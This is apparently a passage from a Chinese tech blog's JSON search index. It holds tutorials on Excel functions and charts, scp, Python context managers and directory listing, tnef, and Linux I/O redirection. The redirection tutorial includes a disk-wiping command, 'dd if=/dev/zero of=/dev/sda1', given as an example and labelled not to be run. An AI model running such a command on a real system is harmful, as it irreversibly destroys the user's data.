2\n在下方的選單中，變更對應資料的圖表類型。\nStep 3\n開啟圖表類型的選單後，選擇適合的類型。\nStep 4\n變更完成後，就得到一個組合式的圖表了。\n","permalink":"https://blog.gtwang.org/windows/excel-multiple-charts-in-one-chart-area/","summary":"\u003cp\u003e這裡介紹如何在 Excel 中同時使用兩種圖表類型與兩個座標軸，呈現兩種不同尺度的資料。\u003c/p\u003e\n\u003cp\u003e將 Excel 表格中的資料繪製成圖形時，如果遇到不同單位且大小差異很大的數值，畫在一起就很容易造成比較小的數值完全看不到，以下我們將以實際的例子來示範如何將兩種不同類型的資料畫在同一張圖形上，並且加上兩個座標軸。\u003c/p\u003e","title":"Excel 同時使用兩種圖表類型與兩個座標軸，呈現差異極大的數值"},{"content":"這裡介紹如何使用 Excel 的 REPLACE 與 SUBSTITUTE 函數來自動取代文字，並提供各種實用的範例。\n在 Excel 中如果想要依照特定的規則，自動替換儲存格中的某些文字，最簡單的的方式就是使用 REPLACE 與 SUBSTITUTE 這兩個字串取代函數，這兩個函數都可用來更換儲存格中部分的文字，只不過適用的時機有些不同，以下是詳細的用法介紹以及實際範例。\nREPLACE 函數 REPLACE 這個函數可以依照字串的位置與長度來取代特定的文字，其用法如下：\n=REPLACE(原始文字,起始位置,字串長度,取代字串) 四個參數的意義如下：\n原始文字：要進行字串取代的原始文字。 起始位置：從原始文字中的第幾個字元開始取代字串。 字串長度：要被取代的原始文字長度。 取代字串：將原始文字中指定的部分以這個新字串取代。 我們以範例來解釋會比較清楚，假設我們的原始文字資料為 ABCDEF，儲存於 A2 這個儲存格中，而我們想要把其中的第二個字元到第四的字元（亦即 BCD）取代為 12345，就可以這樣寫：\n=REPLACE(A2,2,3,\u0026#34;12345\u0026#34;) REPLACE 函數的特點就是在取代文字時，它只會考慮原始文字的位置與長度，把指定的那個文字區段換成新的文字，而不管原始文字的那個位置原來是什麼文字，如果要依據原來的文字內容來取代，可以改用 SUBSTITUTE 函數。\nSUBSTITUTE 函數 SUBSTITUTE 也是用來替換文字的函數，它可以把指定的舊文字取代為新的文字，其用法如下：\n=SUBSTITUTE(原始文字,被取代字串,取代字串,[作用位置]) 這四個參數意義如下：\n原始文字：要進行字串取代的原始文字。 被取代字串：要被取代的字串。 取代字串：將「被取代字串」替換成這個新的「取代字串」。 [作用位置]：若原始文字中有多個位置都符合「被取代字串」，可以用這個作用位置參數指定要把第幾個符合的「被取代字串」替換掉。若省略這個參數，就會把所有符合的地方全部都替換掉。 我們將上面 REPLACE 的範例以 SUBSTITUTE 函數改寫，將 ABCDEF 的 BCD 替換為 12345：\n=SUBSTITUTE(A2,\u0026#34;BCD\u0026#34;,\u0026#34;12345\u0026#34;) 應用範例 實務上我們可以根據不同的狀況靈活運用 REPLACE 與 SUBSTITUTE 函數，以下是一些實際的應用實例。\n新舊地址轉換 假設我們的 Excel 表格中有類似這樣的舊地址資料，在台南縣改為直轄市之後，「台南縣」要改為「台南市」，而所有轄下的「市」、「鎮」、「鄉」都要改為「區」，這裡我們示範如何使用 REPLACE 與 SUBSTITUTE 函數來轉換新舊地址。\n這裡我們打算寫一個公式，然後套用在所有的地址上，自動把所有的舊地址轉換為新的地址。 Step 1\n首先用 SUBSTITUTE 函數將台南縣的「縣」改為「市」：\n=SUBSTITUTE(A2,\u0026#34;縣\u0026#34;,\u0026#34;市\u0026#34;) Step 2\n光只有修改「縣」的部分還不構，我們還要繼續修正上面的公式，把所有的「市」、「鎮」、「鄉」都改為「區」，而在觀察資料後，我們會發現這些字都在整行地址的第六個字元，所以我們直接使用 REPLACE 把第六個字元換成「區」即可。\n這個步驟是要將上一步處理好的資料，拿來繼續做第二次的替換，最直接的做法就是用公式的方式串接起來，將上一步的 SUBSTITUTE 運算公式直接放在這裡的 REPLACE 中：\n=REPLACE(SUBSTITUTE(A2,\u0026#34;縣\u0026#34;,\u0026#34;市\u0026#34;),6,1,\u0026#34;區\u0026#34;) 這樣就可以進行兩次不同的文字替換。\nStep 3\n將滑鼠游標移到第一個儲存格的右下角，待滑鼠變成十字符號之後往下拉，將公式套用至以下的儲存格。\nStep 4\n這樣就可以自動將所有的舊地址轉換為新地址了。\n","permalink":"https://blog.gtwang.org/windows/excel-replace-substitute-function-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Excel 的 \u003ccode\u003eREPLACE\u003c/code\u003e 與 \u003ccode\u003eSUBSTITUTE\u003c/code\u003e 函數來自動取代文字，並提供各種實用的範例。\u003c/p\u003e\n\u003cp\u003e在 Excel 中如果想要依照特定的規則，自動替換儲存格中的某些文字，最簡單的的方式就是使用 \u003ccode\u003eREPLACE\u003c/code\u003e 與 \u003ccode\u003eSUBSTITUTE\u003c/code\u003e 這兩個字串取代函數，這兩個函數都可用來更換儲存格中部分的文字，只不過適用的時機有些不同，以下是詳細的用法介紹以及實際範例。\u003c/p\u003e","title":"Excel REPLACE 與 SUBSTITUTE 函數用法教學：字串取代，自動修改文字資料"},{"content":"這裡介紹如何在 Linux 系統上以 scp 指令複製檔案與目錄，並提供一些參考範例。\n若要在不同的 Linux 主機之間複製檔案，最常用的方法就是使用 scp 指令，它可以透過 SSH 安全加密傳輸的方式，將本地端的檔案或目錄複製到遠端，或是將遠端的資料複製到本地端，而這個指令在 Mac OS X 中也同樣可以使用。\n在不同 Linux 主機之間使用 scp 指令複製檔案時，遠端的 Linux 主機必須要開啟 SSH 遠端登入服務，否則無法使用 scp 指令複製檔案。\n複製檔案與目錄 scp 指令的語法跟一般的 cp 類似，只不過 scp 可以在不同的 Linux 主機之間複製檔案，其語法為：\nscp [帳號@來源主機]:來源檔案 [帳號@目的主機]:目的檔案 這裡的帳號就是登入主機上的帳號（類似 ssh 指令的用法），如果省略帳號與主機，只寫一般的檔案路徑的話，就是代表本機的檔案。\n例如將本地端的 /path/file1 複製到 192.168.0.1 這台主機上的 /path/file2，而登入 192.168.0.1 這台主機時，是以 myuser 這個帳號登入：\n# 從本地端複製到遠端 scp /path/file1 myuser@192.168.0.1:/path/file2 也可以把遠端的檔案複製到本地端：\n# 從遠端複製到本地端 scp myuser@192.168.0.1:/path/file2 /path/file1 這樣就會用 myuser 這個帳號登入 192.168.0.1，將遠端主機上的 /path/file2 複製到 /path/file1。\n如果本地端的使用者帳號名稱剛好跟遠端的使用者帳號一樣，也可以將使用者帳號省略，例如：\n# 從本地端複製到遠端 scp /path/file1 192.168.0.1:/path/file2 反過來也是類似：\n# 從遠端複製到本地端 scp 192.168.0.1:/path/file2 /path/file1 複製目錄 若要複製整個目錄以及其下的所有檔案，則加上 -r 參數：\n# 複製目錄 scp -r /path/folder1 myuser@192.168.0.1:/path/folder2 保留檔案時間與權限 若要讓檔案在複製之後，還可保留原本的修改時間、存取時間與權限，可以加上 -p 參數：\n# 保留檔案時間與權限 scp -p /path/file1 myuser@192.168.0.1:/path/file2 資料壓縮 若要將資料壓縮之後再傳送，減少網路頻寬的使用量，可以加上 -C 參數：\n# 資料壓縮 scp -C /path/file1 myuser@192.168.0.1:/path/file2 限制傳輸速度 若要限制網路的使用頻寬，可以用 -l 指定可用的網路頻寬上限值（單位為 Kbit/s）：\n# 限制傳輸速度為 400 Kbit/s scp -l 400 /path/file1 myuser@192.168.0.1:/path/file2 這樣就會限制 scp 只能使用 400 Kbit/s，也就是 400 / 8 = 50 KB/s。\n自訂連接埠 一般 SSH 伺服器的連接埠號為 22，如果遇到使用非標準埠號的伺服器，可以用 -P 來指定埠號。若遠端的 SSH 伺服器使用 2222 這個連接埠，我們就可以這樣複製檔案：\n# 使用 2222 連接埠 scp -P 2222 /path/file1 myuser@192.168.0.1:/path/file2 IPv4 與 IPv6 -4 與 -6 兩個參數分別可以讓 scp 使用 IPv4 與 IPv6 來傳輸資料：\n# 使用 IPv4 scp -4 /path/file1 myuser@192.168.0.1:/path/file2 # 使用 IPv6 scp -6 /path/file1 myuser@192.168.0.1:/path/file2 參考資料 Tecmint UX Techno Jscape O\u0026rsquo;Relly nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-scp-command-tutorial-examples/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上以 \u003ccode\u003escp\u003c/code\u003e 指令複製檔案與目錄，並提供一些參考範例。\u003c/p\u003e\n\u003cp\u003e若要在不同的 Linux 主機之間複製檔案，最常用的方法就是使用 \u003ccode\u003escp\u003c/code\u003e 指令，它可以透過 SSH 安全加密傳輸的方式，將本地端的檔案或目錄複製到遠端，或是將遠端的資料複製到本地端，而這個指令在 Mac OS X 中也同樣可以使用。\u003c/p\u003e","title":"Linux 的 scp 指令用法教學與範例：遠端加密複製檔案與目錄"},{"content":"這裡介紹 Excel 的 COUNTIF 與 COUNTIFS 函數的使用方式，依照各種判斷條件來計算數量，並提供詳細的範例。\nExcel 中的 COUNTIF 與 COUNTIFS 函數可以依照各式各樣的判斷條件來計算個數，是一個很基本且常用的功能，以下介紹這些函數的使用方法，以及範例公式。如果您需要依照判斷條件來計算總合，請參考 SUMIF 函數的教學。\nCOUNTIF 函數 COUNTIF 函數是一個可以依照判斷條件來計算個數的函數，其使用方式為：\n=COUNTIF(資料範圍,判斷條件) 以下我們用範例來解釋他的用法，假設我們有一張 Excel 表格，上面有日期、姓名、交通方式與金額的資料。\n普通文字 如果我們想要統計搭乘高鐵的人數，就可以將資料範圍設定為交通方式那一欄，然後將判斷條件設定為 \u0026quot;高鐵\u0026quot;，這樣就可以得到搭乘高鐵的人數總和：\n=COUNTIF(C2:C10, \u0026#34;高鐵\u0026#34;) 結果會像這樣：\n萬用字元 判斷文字的時候，也可以使用萬用字元（* 與 ?），例如統計姓「岳」的人數：\n=COUNTIF(B2:B10, \u0026#34;岳*\u0026#34;) 星號（*）是代表任意長度的任意文字，如果要比對「岳」開頭，後面接著兩個字的狀況，可以改用問號（?）的寫法：\n=COUNTIF(B2:B10, \u0026#34;岳??\u0026#34;) 日期 亦可依照日期來統計，例如統計 2017/7/10 之後的資料筆數：\n=COUNTIF(A2:A10, \u0026#34;\u0026gt;2017/7/10\u0026#34;) 我們也可以取用其他儲存格中的資料來建立判斷條件，假設 F4 儲存格內有一個日期資料，而我們想要計算這個日期之後的資料筆數，就可以這樣寫：\n=COUNTIF(A2:A10,\u0026#34;\u0026gt;\u0026#34;\u0026amp;F4) 數值 依照數值的範圍來計算個數，統計金額在 1000 以上的資料筆數：\n=COUNTIF(D2:D10, \u0026#34;\u0026gt;=1000\u0026#34;) 製作數量統計表 COUNTIF 最常見的使用情境就是製作數量統計表，假設我們想要統計出各種交通方式的人數，我們可以先在 Excel 中畫出一個統計用的表格（右方藍色），並且設定好想要統計的車種。\n接著先填寫第一個車種的 COUNTIF 公式，在資料範圍設定使用絕對位置（加上 $），而判斷條件則直接使用儲存格中的資料：\n=COUNTIF($C$2:$C$10,F2) 資料範圍設使用絕對位置是為了讓之後在將公式套用至其他儲存格時，不要讓資料範圍跟著往下跳。\n填好第一個公式之後，將滑鼠移動到該儲存格的右下方，當滑鼠游標變成十字的形狀時，把他往下拉，套用公式到以下所有的儲存格。\n將 COUNTIF 的公式套用到下面所有的儲存格之後，整個數量統計表建完成了。\nCOUNTIFS 函數 COUNTIFS 函數跟上面介紹的 COUNTIF 很類似，只不過 COUNTIFS 可以接受多個資料範圍與判斷條件，在每一條判斷條件都符合時，才會將資料計入（and 運算）。\nCOUNTIFS 的使用方式為：\n=COUNTIFS(資料範圍1,判斷條件1,資料範圍2,判斷條件2,...) COUNTIFS 可以放多組資料範圍與判斷條件的配對組合，當每一組資料都符合對應的條件時，才會進行數量的加總計算。\n假設我們想要計算在 2017/7/1 之後，搭乘火車的人數，公式可以這樣寫：\n=COUNTIFS(C2:C10,\u0026#34;火車\u0026#34;,A2:A10,\u0026#34;\u0026gt;2017/7/1\u0026#34;) COUNTIFS 的條件數量沒有限制，我們可以放置任意數量的資料範圍與判斷條件，例如再加上一條金額大於 300 的條件：\n=COUNTIFS(C2:C10,\u0026#34;火車\u0026#34;,A2:A10,\u0026#34;\u0026gt;2017/7/1\u0026#34;,D2:D10,\u0026#34;\u0026gt;300\u0026#34;) 除了 COUNTIF 與 COUNTIFS 之外，Excel 還有 COUNT 與 COUNTA 兩個比較簡單的函數，它們計算數字、日期或不是空白的儲存格數目。\n","permalink":"https://blog.gtwang.org/windows/excel-countif-countifs-function-tutorial/","summary":"\u003cp\u003e這裡介紹 Excel 的 \u003ccode\u003eCOUNTIF\u003c/code\u003e 與 \u003ccode\u003eCOUNTIFS\u003c/code\u003e 函數的使用方式，依照各種判斷條件來計算數量，並提供詳細的範例。\u003c/p\u003e\n\u003cp\u003eExcel 中的 \u003ccode\u003eCOUNTIF\u003c/code\u003e 與 \u003ccode\u003eCOUNTIFS\u003c/code\u003e 函數可以依照各式各樣的判斷條件來計算個數，是一個很基本且常用的功能，以下介紹這些函數的使用方法，以及範例公式。如果您需要依照判斷條件來計算總合，請參考 \u003ca href=\"/windows/excel-sumif-function-tutorial/\"\u003eSUMIF 函數的教學\u003c/a\u003e。\u003c/p\u003e","title":"Excel COUNTIF 與 COUNTIFS 函數用法教學：判斷多條件，計算數量"},{"content":"這裡介紹 Python 的 with 使用方法，以及自行建立 context manager 的方法與範例程式碼。\n資源的管理在程式設計上是一個很常見的問題，例如管理開啟的檔案、網路 socket 與各種鎖定（locks）等，最主要的問題點就在於我們必須確保這些開啟的資源在使用完之後，有確實被關閉（或釋放），如果忘記關閉這些資源，就會造成程式執行上的效能問題，甚至出現錯誤，而除了關閉之外，有些特殊的資源在使用完畢之後，還必須進行一些後續的清理動作，這些也都是資源管理上需要注意的。\nPython 語言提供了 with 這個獨特的語法，可讓程式設計者更容易管理這些開啟的資源，在這樣的語法架構之下，Python 程式會自動進行資源的建立、清理與回收動作，讓程式設計者在使用各種資源時更為方便。\nwith 基本語法 傳統上若要開啟一個檔案，我們會這樣寫：\n# 開啟檔案 f = open(filename) # ... # 關閉檔案 f.close() 這種寫法會有一個問題，如果在使用檔案的過程中發生了一些例外狀況，造成程式提早跳開時，這個開啟的檔案就會沒有被關閉，所以比較好的程式寫法是使用 try 與 finally：\n# 開啟檔案 f = open(filename) try: # ... finally: # 關閉檔案 f.close() 而上面這種寫法雖然不會有問題，但是缺點就是必須手動加入關閉檔案的程式碼，不是很方便，也很容易忘記。\n這種狀況我們就可以改用 with 的寫法：\n# 以 with 開啟檔案 with open(filename) as f: # ... 這裡在使用 with 開啟檔案時，會將開啟的檔案一樣放在 f 變數中，但是這個 f 只有在這個 with 的範圍內可以使用，而離開這個範圍時 f 就會自動被關閉，回收相關的資源。\n以下是一個實際的範例：\n# 以 with 開檔並寫入檔案 with open(\u0026#39;file.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(\u0026#39;Hello, world!\u0026#39;) 使用 with 的話，檔案使用完之後就會自動關閉，方便很多。\n自行建立 Context Manager 若要自行建立 context manager，只要定義好類別的 __enter__ 與 __exit__ 兩個方法函數即可，with 在剛開始執行時，會執行 __enter__ 這個函數，傳回配給的資源（例如開啟的檔案），而在 with 範圍結束時，會自動呼叫 __exit__ 釋放資源（例如關閉檔案）。\n以下是一個開檔的 context manager 範例：\n#/usr/bin/python # -*- coding: utf-8 -*- # 自行定義 Context Manager class File(object): def __init__(self, filename, mode): # 設定檔名與開檔模式 self.filename = filename self.mode = mode # 配給資源（開啟檔案） def __enter__(self): print(\u0026#34;開啟檔案：\u0026#34; + self.filename) self.open_file = open(self.filename, self.mode) return self.open_file # 回收資源（關閉檔案） def __exit__(self, type, value, traceback): print(\u0026#34;關閉檔案：\u0026#34; + self.filename) self.open_file.close() 使用方式如下：\nwith File(\u0026#34;file.txt\u0026#34;, \u0026#34;w\u0026#34;) as f: print(\u0026#34;寫入檔案...\u0026#34;) f.write(\u0026#34;Hello, world.\u0026#34;) 開啟檔案：file.txt 寫入檔案... 關閉檔案：file.txt 除了使用一般的類別之外，也可以使用 contextlib 這個模組的 decorator 來產生 context manager，以下是一個簡單的開檔範例：\n#/usr/bin/python # -*- coding: utf-8 -*- from contextlib import contextmanager # 自行定義 Context Manager @contextmanager def open_file(name, mode): # 配給資源（開啟檔案） f = open(name, mode) yield f # 回收資源（關閉檔案） f.close() 這是使用方式：\nwith open_file(\u0026#39;file.txt\u0026#39;, \u0026#39;w\u0026#39;) as f: f.write(\u0026#34;Hello, world.\u0026#34;) 參考資料 Wikibooks Python Tips bradmontgomery ","permalink":"https://blog.gtwang.org/programming/python-with-context-manager-tutorial/","summary":"\u003cp\u003e這裡介紹 Python 的 \u003ccode\u003ewith\u003c/code\u003e 使用方法，以及自行建立 context manager 的方法與範例程式碼。\u003c/p\u003e\n\u003cp\u003e資源的管理在程式設計上是一個很常見的問題，例如管理開啟的檔案、網路 socket 與各種鎖定（locks）等，最主要的問題點就在於我們必須確保這些開啟的資源在使用完之後，有確實被關閉（或釋放），如果忘記關閉這些資源，就會造成程式執行上的效能問題，甚至出現錯誤，而除了關閉之外，有些特殊的資源在使用完畢之後，還必須進行一些後續的清理動作，這些也都是資源管理上需要注意的。\u003c/p\u003e","title":"Python 的 with 語法使用教學：Context Manager 資源管理器"},{"content":"這裡介紹如何在 Linux 中開啟 winmail.dat 這種電子郵件的附加檔案。\n以 Outlook 或 Microsoft Exchange 寄出電子郵件時，有時後會把信件以 TNEF（Transport Neutral Encapsulation Format）格式的方式打包起來，如果使用其他收信軟體閱讀信件時，就會出現一個無法閱讀的 winmail.dat 附件。\n這種檔案在 GMail 中開啟時，同樣無法直接閱讀。\ntnef 若在 Linux 中想要解開 winmail.dat 這種檔案，可以使用 tnef 這個小工具。（若是 Mac OS X 的使用者，可以使用 TNEF\u0026rsquo;s Enough）\n首先安裝 tnef 套件，在 Ubuntu 或 Debian 系列的 Linux 中可以使用 apt 安裝：\nsudo apt-get install tnef 接著把 winmail.dat 這個附加檔案抓下來，使用 tnef 解開：\n# 解開 winmail.dat tnef winmail.dat 這樣就可把 winmail.dat 裡面的檔案解開來了。\n若要列出 winmail.dat 的檔案名稱，但是不要實際解開的話，可以使用 -t 參數：\n# 列出檔案名稱 tnef -t winmail.dat -C 參數可以指定解開檔案的放置路徑：\n# 指定解開檔案的放置路徑 mkdir my_attach tnef -C my_attach winmail.dat 如果解開的檔案名稱與既有檔案名稱衝突時，可以使用 --overwrite 覆蓋：\n# 檔名衝突時，覆蓋舊檔 tnef --overwrite winmail.dat 或是使用 --number-backups 參數將解開的檔案另存為 *.n 這種數字結尾的檔案名稱。\n# 檔名衝突時，重新命名為 *.n tnef --number-backups winmail.dat ","permalink":"https://blog.gtwang.org/linux/how-to-use-tnef-open-winmail-dat-files-on-ubuntu-debian-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中開啟 winmail.dat 這種電子郵件的附加檔案。\u003c/p\u003e\n\u003cp\u003e以 Outlook 或 Microsoft Exchange 寄出電子郵件時，有時後會把信件以 TNEF（Transport Neutral Encapsulation Format）格式的方式打包起來，如果使用其他收信軟體閱讀信件時，就會出現一個無法閱讀的 winmail.dat 附件。\u003c/p\u003e","title":"Linux 以 tnef 解開電子郵件 winmail.dat 附加檔案教學"},{"content":"本篇介紹 Linux I/O 輸入與輸出重新導向的入門概念與使用方式，並提供一些範例指令稿。\nI/O 的重新導向是 Linux 系統中很重要的一個特性，它可以讓我們任意串接各種程式的輸入與輸出、將資料導入檔案或從檔案中導出資料，結合多種 Linux 指令，組成任意的「指令管線」（command pipeline）。\n輸入與輸出的重新導向 一般的 Linux 指令在執行時，會有三個輸入與輸出的資料流，分別為：\n標準輸入（standard input，代碼為 0）：程式執行所需要的輸入資料。 標準輸出（standard output，代碼為 1）：程式正常執行所產生的輸出資料。 標準錯誤輸出（standard error output，代碼為 2）：程式出錯時通知使用者用的訊息，或是呈現程式狀態用的訊息。 Linux 程式執行時的狀況就像這樣：\n而重新導向的作用就是改變這些資料的流向，讓使用者可以非常彈性的組合各種程式，以下我們以範例來說明重新導向的用法。\n標準輸出 最典型的程式會將程式執行的結果輸出在螢幕上（也就是說標準輸出預設就是螢幕），而我們可以使用 \u0026gt; 這個重新導向的運算子，將程式的標準輸出導向檔案，這樣輸出的訊息內容就會被儲存在檔案中，其用法為：\nN\u0026gt; FILE 其中 N 是要設定重新導向的檔案代碼，若省略的話預設值為標準輸出的檔案代碼（即 1），而 FILE 就是要儲存輸出資料的檔案名稱。\n以下是一個簡單的例子：\nls \u0026gt; output.txt 這樣就會把 ls 指令的輸出儲存至 output.txt 檔案中，而執行這行指令時，螢幕上就不會有其他的輸出了。\n在執行上面這行指令時，如果 output.txt 這個檔案不存在的話，就會自動建立這個檔案，並把資料寫入其中。但若是這個檔案已經存在了，系統會把它的內容先清空，再將 ls 的輸出儲存進去，所以如果原本 output.txt 檔案中存在有舊的資料，就會全部被清掉。\n如果想要以附加的方式把程式的輸出放在原本的檔案內容之後，可以使用 \u0026gt;\u0026gt;，其用法也是非常類似：\nN\u0026gt;\u0026gt; FILE 以下為實際範例：\ndate \u0026gt;\u0026gt; output.txt 這樣一來，他就會在 output.txt 檔案中，於原本的 ls 輸出之後，再加上一行日期資訊。\n標準錯誤輸出 若程式發生錯誤時，錯誤訊息預設也是會輸出在螢幕上（標準錯誤輸出預設為螢幕），例如：\nls non_exist \u0026gt; output.txt 這裡我們使用 ls 查看一個不存在的檔案，讓它產生錯誤，執行之後會在螢幕上看到一行錯誤訊息：\nls: non_exist: No such file or directory 這一行就是來自於 ls 標準錯誤輸出的訊息，而 output.txt 這個輸出檔案也會被建立，不過它的內容是空的（因為程式沒有產生任何正常的輸出）。\n如果我們想要把程式的錯誤訊息導入檔案，可以使用 \u0026gt; 運算子，把標準錯誤輸出（2）導至指定的檔案：\nls non_exist \u0026gt; output.txt 2\u0026gt; error.txt 這行指令就會將 ls 的標準錯誤輸出導入 error.txt 檔案，而正常的輸出則一樣導入 output.txt。\n這是以附加方式寫入 error.txt 的例子：\nls non_exist \u0026gt; output.txt 2\u0026gt;\u0026gt; error.txt 如果想要把正常的輸出以及錯誤的輸出都一起導入同一個 output.txt，可以加上 2\u0026gt;\u0026amp;1：\nls non_exist \u0026gt; output.txt 2\u0026gt;\u0026amp;1 2\u0026gt;\u0026amp;1 就是把標準錯誤輸出（2）導入標準輸出（1）的意思，然後再靠著 \u0026gt; 把所有的資料全部導入 output.txt，這樣所有的輸出訊息就會一起存入 outpupt.txt 中了。\n這類重新導向的語法可以自己變化，例如我們也可以把資料都導向標準錯誤輸出，然後再導向檔案，結果是一樣的：\nls non_exist 2\u0026gt; output.txt 1\u0026gt;\u0026amp;2 另外還有一種寫法也可以將標準輸出與標準錯誤輸出都導向至同一個檔案：\nls non_exist \u0026amp;\u0026gt; output.txt 或是這樣也可以：\nls non_exist \u0026gt;\u0026amp; output.txt 標準輸入 一般需要輸入資料的 Linux 程式如果執行時沒有給他資料的話，預設就會從鍵盤讀取資料（也就是標準輸入預設是鍵盤），例如：\ncat 直接執行 cat 時，他就會等待使用者從鍵盤輸入資料，並將接收到的資料輸出在螢幕上。\n我們可以使用 \u0026lt; 運算子，將指定的檔案設定為程式的標準輸入，這樣他就會從檔案中讀取資料，用法如下：\nN\u0026lt; FILE 以下是實際範例：\ncat \u0026lt; input.txt 這樣 cat 就可以取得 input.txt 檔案中的資料，並且顯示在螢幕上。\n管線 前面介紹過的重新導向都是用於程式與檔案之間的資料流，而如果要把兩個程式的輸入與輸出串接起來，就可以使用管線（pipe）。\n管線的寫法是 |，以下是一個例子：\nls | nl nl 這個指令會把每一行資料加上行號，這一指令會將 ls 的輸出導給 nl，讓每個檔案名稱加上行號後，輸出在螢幕上。 管線與重新導向可以混用：\nls | nl \u0026gt; output 2\u0026gt;\u0026amp;1 串接多個程式的狀況也是很常見的：\nls | grep keyword | nl | head -n 5 這個例子是在 ls 的輸出中，以 grep 篩選出有 keyword 的檔名，交給 nl 加上行號，最後交給 head 輸出前 5 行資料。\nLinux 特殊檔案 在 Linux 系統上有一些特殊的檔案，善用這些特殊檔案可以讓我們在撰寫 shell 指令稿時更方便。\n/dev/null /dev/null 是 Linux 系統的空裝置，所有寫入這個檔案的資料都會被直接丟棄，而如果從這個檔案讀取資料，則會像讀取空檔案一樣，立即得到一個 EOF。\n最常見的用法就是將沒有用的程式輸出導引至 /dev/null，這樣就不會讓沒用的輸出干擾螢幕畫面：\nls \u0026gt; /dev/null 上面這個例子是將 ls 的輸出導向至 /dev/null，這樣螢幕上就不會出現任何訊息。\n以下是一個實務上比較常用的例子，假設我們想要檢查 Linux 系統上特定的程式有沒有在執行，我們可以在 ps 指令的輸出中，尋找特定的關鍵字，執行完之後，以 $? 查看最後一個 grep 執行的結果：\nKEYWORD=chromium ps aux | grep $KEYWORD | grep -v grep \u0026gt; /dev/null echo $? 這我們要找的是 Chromium 瀏覽器的行程，看看系統上是不是有 Chromium 瀏覽器在執行，若有找到的話，$? 的值就會是 0，若沒有找到的話 $? 就會是 1。\n在這個例子中，我們只需要 grep 最後的傳回值，而不需要看它輸出，所以我們將其標準輸出直接導向至 /dev/null 丟棄。\n另外一個典型的例子就是把程式的任何輸出都丟棄，也就是把標準輸出與標準錯誤輸出都導向至 /dev/null，這個用法在執行自己撰寫的指令稿時很有用：\n/path/to/script.sh \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 如果我們將自己的指令稿放在 crontab 中執行時，通常都會以這個方式丟棄所有的輸出，因為如果輸出太多訊息，會造成系統管理者有收不完的回報信件。\n/dev/zero /dev/zero 是一個特殊檔案，當我們從這個檔案讀取資料時，會讀出無限個 NULL 字元（0x00）資料，這個檔案可以用於清除硬碟資料：\n# 清除硬碟（不可執行） dd if=/dev/zero of=/dev/sda1 或是建立內容都是 0x00 的檔案：\ndd if=/dev/zero of=file.dat count=1024 bs=1024 /dev/random 與 /dev/urandom /dev/random 與 /dev/urandom 是 UNIX/Linux 系統的隨機資料來源，從這兩個檔案讀取出來的資料是隨機產生的，這兩個檔案功能相同，差別在於資料產生速度與品質。\n/dev/random 的資料產生速度比較慢，但是品質比較好（比較接近隨機），如果從中讀取大量資料，超過系統所能產生的隨機量時，就會出現阻塞（block）的狀況。\n而 /dev/urandom 在產生隨機資料時，若系統所能產生的隨機量不足，就會根據其他的方式生成隨機的資料，不會產生阻塞的狀況，缺點就是資料沒有那麼隨機。\n以下是從 /dev/urandom 讀取資料，交給 cksum 產生隨機亂數的例子：\nhead -200 /dev/urandom | cksum /dev/full /dev/full 是一個常滿裝置，不管寫入什麼資料，都會因為空間不足而無法寫入，這個檔案通常被用來測試磁碟無剩餘空間時，程式所產生的行為。\nls \u0026gt; /dev/full ls: write error: No space left on device 參考資料 鳥哥的 Linux 私房菜 Tecmint 網路農夫 ","permalink":"https://blog.gtwang.org/linux/linux-io-input-output-redirection-operators/","summary":"\u003cp\u003e本篇介紹 Linux I/O 輸入與輸出重新導向的入門概念與使用方式，並提供一些範例指令稿。\u003c/p\u003e\n\u003cp\u003eI/O 的重新導向是 Linux 系統中很重要的一個特性，它可以讓我們任意串接各種程式的輸入與輸出、將資料導入檔案或從檔案中導出資料，結合多種 Linux 指令，組成任意的「指令管線」（command pipeline）。\u003c/p\u003e","title":"Linux I/O 輸入與輸出重新導向，基礎概念教學"},{"content":"這裡介紹如何在 Python 中列出目錄中的檔案，並且配合各種篩選方式，取得符合條件的檔案列表。\n在使用 Python 開發處理檔案的程式時，時常會需要把一個目錄中的檔案名稱全部列出來，然後再使用迴圈對每一個檔案進行後續的處理，以下是各種取得目錄中所有檔案名稱的方法與範例程式碼。\nos.listdir 取得檔案列表 os.listdir 可以取得指定目錄中所有的檔案與子目錄名稱，以下是一個簡單的範例：\n#!/usr/bin/python # -*- coding: utf-8 -*- from os import listdir from os.path import isfile, isdir, join # 指定要列出所有檔案的目錄 mypath = \u0026#34;/var/log\u0026#34; # 取得所有檔案與子目錄名稱 files = listdir(mypath) # 以迴圈處理 for f in files: # 產生檔案的絕對路徑 fullpath = join(mypath, f) # 判斷 fullpath 是檔案還是目錄 if isfile(fullpath): print(\u0026#34;檔案：\u0026#34;, f) elif isdir(fullpath): print(\u0026#34;目錄：\u0026#34;, f) 這個例子中我們使用 os.listdir 取得 /var/log 目錄中所有的檔案與子目錄的列表，接著使用一個迴圈來檢查每個項目是檔案還是目錄，在迴圈中我們先用 os.path.join 把檔名加上目錄的路徑，產生檔案的絕對路徑後，再以 os.path.isfile 與 os.path.isdir 來判斷該項目是普通檔案還是目錄。\n執行之後，輸出會類似這樣：\n目錄： lightdm 目錄： ntpstats 檔案： Xorg.0.log 檔案： messages 檔案： bootstrap.log [略] os.walk 遞迴搜尋檔案 os.walk 是一個以遞迴方式列出特定路徑下，所有子目錄與檔案的函數，以下是一個使用範例：\n#!/usr/bin/python # -*- coding: utf-8 -*- from os import walk # 指定要列出所有檔案的目錄 mypath = \u0026#34;/var/log\u0026#34; # 遞迴列出所有子目錄與檔案 for root, dirs, files in walk(mypath): print(\u0026#34;路徑：\u0026#34;, root) print(\u0026#34; 目錄：\u0026#34;, dirs) print(\u0026#34; 檔案：\u0026#34;, files) os.walk 會自動遞迴搜尋指定路徑之下的所有子目錄，將每一個目錄中的檔案都列出來，並且自動區分檔案與目錄，執行之後輸出會類似這樣：\n路徑： /var/log 目錄： ['lightdm', 'ntpstats', 'apt', 'fsck', 'samba'] 檔案： ['Xorg.0.log', 'messages', 'bootstrap.log', 'dpkg.log', 'kern.log', 'faillog', 'syslog', 'btmp', 'user.log', 'alternatives.log', 'wtmp', 'auth.log', 'fontconfig.log', 'daemon.log', 'Xorg.0.log.old', 'debug', 'lastlog', 'dmesg', 'boot.log'] 路徑： /var/log/ntpstats 目錄： [] 檔案： [] 路徑： /var/log/apt 目錄： [] 檔案： ['term.log', 'history.log'] [略] 